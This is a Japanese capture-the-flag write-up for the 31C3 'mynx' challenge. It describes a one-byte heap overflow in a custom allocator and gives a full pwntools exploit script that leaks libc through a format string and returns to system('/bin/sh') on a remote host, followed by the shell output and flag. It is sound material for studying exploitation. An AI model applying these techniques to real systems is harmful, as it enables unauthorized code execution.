mynx
- 自分でメモリ管理をしている。
- 8個の0x1000バイトの領域を作って0x100バイトごとのピースに分けて使用する。
1 // 0x804a900, 8times
2 struct chunk_hdr {
3 void *chunk;
4 int32_t nblocks;
5 };
6
7 struct piece_aa {
8 char tag; // bit 0: allocated; other: 0x48=aa, 0x36=comment
9 // payload_base
10 int32_t entry_number;
11 // payload_base+4
12 filter_t *filter;
13 // payload_base+8
14 char aa[]; // 0xf7 bytes written
15 };
16
17 struct piece_comments {
18 char tag; // bit 0: allocated; other: 0x48=aa, 0x36=comment
19 // payload_base
20 int32_t entry_number;
21 // payload_base+4
22 char comments[]; // 0xfc bytes written <---
23 };
コメントは0x9+0xfc=0x101まで書き込むが,pieceは0x100しか無い。オーバーフローを起こす。 次の手順で任意のアドレスをcall出来る。
- AA追加(1)
- AA1にコメント追加
- AA追加(2)
- AA2にコメントを二回書く。
- 二番目のコメントに
- +0x0位置に実行したい命令のアドレス(0x08048b97)を配置
- +0x4位置にROP
- コメントを削除
- コメントを追加,最後の1バイトを0x49にする。
- 二番目のコメントがAA2(新)になる。
- AA1のコメントを削除して再追加。
- 最後の1バイトを0にしてAA2(旧)を潰す。
- AA2のフィルタを実行
mainのreturn addressから__libc_start_mainの内部の戻り先アドレスを得て,libcのバージョンを特定(libc6-i386_2.19-10ubuntu2.1_amd64),systemへreturn-to-libcする。
1 from pwn import *
2 context(arch = "i386", os = "linux")
3
4 PRINTF = 0x8048420
5 POP4 = 0x8049108
6 POP3 = 0x8049109
7 POP2 = 0x804910a
8 POP1 = 0x804910b
9 POPEBP = 0x0804910b
10
11 MAIN_RET_REL = 0x19a63
12 SYSTEM_REL = 0x3e2b0
13
14 #conn = process("./mynx")
15 conn = remote("188.40.18.80", 1234)
16
17 def add_aa(aa, filter="0"):
18 conn.send("1\n")
19 conn.recvuntil("> ")
20 conn.send(filter + "\n")
21 conn.recvuntil(">>>\n")
22 conn.send(aa)
23 conn.recvuntil("> ")
24
25 def select_aa(aaid):
26 conn.send("3\n")
27 conn.recvuntil("> ")
28 conn.send(str(aaid) + "\n")
29 conn.recvuntil("> ")
30
31 def back_to_mainmenu():
32 conn.send("0\n")
33 conn.recvuntil("> ")
34
35 def add_comment(comment):
36 conn.send("1\n")
37 conn.recvuntil("> ")
38 conn.send(comment)
39 conn.recvuntil("> ")
40
41 def delete_comments():
42 conn.send("2\n")
43 conn.recvuntil("> ")
44
45
46 conn.recvuntil("> ")
47
48 #######################################################
49 log.waitfor("Retrieving libc_base")
50 log.status("Adding AA1")
51 add_aa("abc")
52 select_aa(1)
53 add_comment("AAAA")
54 back_to_mainmenu()
55
56 log.status("Adding AA2")
57 add_aa("def")
58 select_aa(2)
59 add_comment("AAAA")
60 add_comment(p32(PRINTF) + "%11$08x\n")
61 delete_comments()
62 add_comment("A"*0xfb + chr(0x49))
63 back_to_mainmenu()
64
65 log.status("Removing AA2")
66 select_aa(1)
67 delete_comments()
68 add_comment("A"*0xfb + chr(0))
69 back_to_mainmenu()
70
71 select_aa(2)
72 conn.send("3\n")
73 libc_base = int(conn.recvline(), 16) - MAIN_RET_REL
74 conn.recvuntil("> ")
75 back_to_mainmenu()
76
77 log.done_success("OK")
78
79 #######################################################
80 log.waitfor("Spawning shell")
81 log.status("Adding AA1")
82 add_aa("abc")
83 select_aa(3)
84 add_comment("AAAA")
85 back_to_mainmenu()
86
87 log.status("Adding AA2")
88 add_aa("def")
89 select_aa(4)
90 add_comment("AAAA")
91 add_comment(p32(libc_base + SYSTEM_REL) + "/bin/sh\n")
92 delete_comments()
93 add_comment("A"*0xfb + chr(0x49))
94 back_to_mainmenu()
95
96 log.status("Removing AA2")
97 select_aa(3)
98 delete_comments()
99 add_comment("A"*0xfb + chr(0))
100 back_to_mainmenu()
101
102 select_aa(4)
103 conn.send("3\n")
104
105 log.done_success("OK")
106
107 conn.interactive()
% python exploit.py [+] Opening connection to 188.40.18.80 on port 1234: OK [+] Retrieving libc_base: OK [+] Spawning shell: OK [*] Switching to interactive mode $ cat home/user/flag 31C3_i_like_weird_allocators